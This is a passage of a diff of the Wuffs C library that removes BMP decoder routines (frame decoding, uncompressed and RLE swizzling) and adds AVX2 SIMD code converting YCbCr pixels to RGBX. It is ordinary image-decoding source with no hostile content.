self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { +- self->private_impl.f_dst_x = 0u; +- if (self->private_impl.f_top_down) { +- self->private_impl.f_dst_y = 0u; +- self->private_impl.f_dst_y_inc = 1u; +- } else { +- self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); +- self->private_impl.f_dst_y_inc = 4294967295u; +- } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- while (true) { +- if (self->private_impl.f_compression == 0u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else if (self->private_impl.f_compression < 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else if (self->private_impl.f_compression == 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_pending_pad; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_pending_pad = 0u; +- } +- self->private_impl.f_call_sequence = 96u; ++ // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % ++ // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] ++ // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % ++ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] ++ // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % ++ // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] ++ // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % ++ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] ++ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); ++ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); ++ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); ++ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); + +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; +- } ++ // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % ++ // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] ++ // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % ++ // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] ++ // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % ++ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] ++ // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % ++ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] ++ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); ++ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); ++ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); ++ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ // Advance by up to 32 pixels. The first iteration might be smaller than 32 ++ // so that all of the remaining steps are exactly 32. ++ uint32_t n = 32u - (31u & (x - x_end)); ++ dst_iter += 4u * n; ++ up0 += n; ++ up1 += n; ++ up2 += n; ++ x += n; + } +- +- return status; + } + +-// -------- func bmp.decoder.swizzle_none ++// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) ++// except for the lines marked with a § and that comments were stripped. ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ if ((x + 32u) > x_end) { ++ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // ++ dst, x, x_end, y, up0, up1, up2); ++ return; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_none( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; ++ const __m256i u0001 = _mm256_set1_epi16(+0x0001); ++ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); ++ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); ++ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ const __m256i p8000_p0000 = _mm256_set_epi16( // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- label__outer__continue:; +- while (true) { +- while (self->private_impl.f_pending_pad > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- self->private_impl.f_pending_pad -= 1u; +- iop_a_src += 1u; +- } +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- if (self->private_impl.f_height > 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- } +- goto label__outer__break; +- } else if (self->private_impl.f_pad_per_row != 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- goto label__outer__continue; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_bits_per_pixel > 32u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); +- if (v_src_bytes_per_pixel == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); +- } +- v_j -= 8u; +- } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); +- } +- v_j -= 1u; +- } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- v_dst_palette, +- &iop_a_src, +- io2_a_src); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- } +- label__outer__break:; +- status = wuffs_base__make_status(NULL); +- goto ok; ++ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); ++ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); ++ const __m256i m581A_p492E = _mm256_set_epi16( // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ while (x < x_end) { ++ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); ++ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); ++ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); ++ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); ++ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); ++ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); + +- return status; +-} ++ __m256i tmp_by_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), ++ 1); ++ __m256i tmp_by_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), ++ 1); ++ __m256i tmp_ry_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), ++ 1); ++ __m256i tmp_ry_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), ++ 1); + +-// -------- func bmp.decoder.swizzle_rle ++ __m256i by_eve = ++ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); ++ __m256i by_odd = ++ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); ++ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); ++ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_rle( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); ++ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_row = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint8_t v_code = 0; +- uint8_t v_indexes[2] = {0}; +- uint32_t v_rle_state = 0; +- uint32_t v_chunk_bits = 0; +- uint32_t v_chunk_count = 0; ++ __m256i tmp1_gy_eve_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_eve_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ __m256i gy_eve = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); ++ __m256i gy_odd = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_rle_state = self->private_impl.f_rle_state; +- label__outer__continue:; +- while (true) { +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- label__middle__continue:; +- while (true) { +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i <= ((uint64_t)(v_row.len))) { +- v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); +- } else { +- v_dst = wuffs_base__utility__empty_slice_u8(); +- } +- while (true) { +- while (true) { +- if (v_rle_state == 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (v_code == 0u) { +- v_rle_state = 2u; +- continue; +- } +- self->private_impl.f_rle_length = ((uint32_t)(v_code)); +- v_rle_state = 1u; +- continue; +- } else if (v_rle_state == 1u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (self->private_impl.f_bits_per_pixel == 8u) { +- v_p0 = 0u; +- while (v_p0 < self->private_impl.f_rle_length) { +- self->private_data.f_scratch[v_p0] = v_code; +- v_p0 += 1u; +- } +- } else { +- v_indexes[0u] = ((uint8_t)((v_code >> 4u))); +- v_indexes[1u] = (v_code & 15u); +- v_p0 = 0u; +- while (v_p0 < self->private_impl.f_rle_length) { +- self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; +- self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; +- v_p0 += 2u; +- } +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); +- v_rle_state = 0u; +- goto label__middle__continue; +- } else if (v_rle_state == 2u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (v_code < 2u) { +- if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (v_code > 0u) { +- goto label__outer__break; +- } +- v_rle_state = 0u; +- goto label__outer__continue; +- } else if (v_code == 2u) { +- v_rle_state = 4u; +- continue; +- } +- self->private_impl.f_rle_length = ((uint32_t)(v_code)); +- self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && ((v_code & 1u) != 0u)); +- v_rle_state = 3u; +- continue; +- } else if (v_rle_state == 3u) { +- if (self->private_impl.f_bits_per_pixel == 8u) { +- v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- self->private_impl.f_rle_length, +- v_dst, +- v_dst_palette, +- &iop_a_src, +- io2_a_src); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); +- } else { +- v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); +- v_p0 = 0u; +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { +- v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 255u) + 4u); +- v_chunk_count -= 1u; +- } +- v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); +- } +- if (self->private_impl.f_rle_length > 0u) { +- goto label__goto_suspend__break; +- } +- if (self->private_impl.f_rle_padded) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- iop_a_src += 1u; +- self->private_impl.f_rle_padded = false; +- } +- v_rle_state = 0u; +- goto label__middle__continue; +- } else if (v_rle_state == 4u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- v_rle_state = 5u; +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { +- goto label__goto_suspend__break; +- } +- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- if (self->private_impl.f_rle_delta_x > 0u) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(self->private_impl.f_rle_delta_x))); +- self->private_impl.f_rle_delta_x = 0u; +- if (self->private_impl.f_dst_x > self->private_impl.f_width) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- } +- if (v_code > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_code -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- while (true) { +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); +- goto exit; +- } +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- if (v_code <= 0u) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); +- break; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_code -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- v_rle_state = 0u; +- goto label__middle__continue; +- } +- } +- label__goto_suspend__break:; +- self->private_impl.f_rle_state = v_rle_state; +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- } +- label__outer__break:; +- while (self->private_impl.f_dst_y < self->private_impl.f_height) { +- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { +- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; ++ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); ++ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); ++ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); ++ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); ++ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); ++ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); + +- return status; +-} ++ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); ++ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); ++ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); ++ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); + +-// -------- func bmp.decoder.swizzle_bitfields ++ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); ++ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); ++ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); ++ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_bitfields( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // § Note the swapped B and R channels. ++ __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); ++ __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); ++ __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); ++ __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); + +- wuffs_base__pixel_format v_dst_pixfmt 